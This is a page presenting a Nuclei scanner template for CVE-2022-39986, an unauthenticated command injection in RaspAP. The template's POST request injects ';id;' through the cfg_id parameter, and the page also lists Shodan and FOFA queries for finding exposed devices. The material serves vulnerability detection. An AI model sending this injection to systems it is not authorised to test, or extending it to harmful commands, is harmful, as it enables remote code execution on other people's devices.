RaspAP 2.8.7 - Unauthenticated Command Injection

ID: CVE-2022-39986

Severity: critical

Author: DhiyaneshDK

Tags: cve,cve2022,packetstorm,raspap,rce

Description

A Command injection vulnerability in RaspAP 2.8.0 thru 2.8.7 allows unauthenticated attackers to execute arbitrary commands via the cfg_id parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.

YAML Source

id: CVE-2022-39986

info:
  name: RaspAP 2.8.7 - Unauthenticated Command Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    A Command injection vulnerability in RaspAP 2.8.0 thru 2.8.7 allows unauthenticated attackers to execute arbitrary commands via the cfg_id parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Upgrade to a patched version of RaspAP or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/174190/RaspAP-2.8.7-Unauthenticated-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39986
    - https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2
    - http://packetstormsecurity.com/files/174190/RaspAP-2.8.7-Unauthenticated-Command-Injection.html
    - https://github.com/RaspAP/raspap-webgui/blob/master/ajax/openvpn/activate_ovpncfg.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-39986
    cwe-id: CWE-77
    epss-score: 0.87977
    epss-percentile: 0.98588
    cpe: cpe:2.3:a:raspap:raspap:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: raspap
    product: raspap
    shodan-query: http.favicon.hash:-1465760059
    fofa-query: icon_hash=-1465760059
  tags: cve,cve2022,packetstorm,raspap,rce

http:
  - raw:
      - |
        POST /ajax/openvpn/del_ovpncfg.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        cfg_id=;id;#

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z-)]+) gid=([0-9(a-z-)]+) groups=([0-9(a-z-)]+)"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022052afe99b0bf9e81a0dcaeadc45478caf3f084873d9741b26b579ef4b42d27f520220781269d097405379159c06b99702558decfecf5f97e3166b4f0b18d478c6b99f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-39986.yaml"

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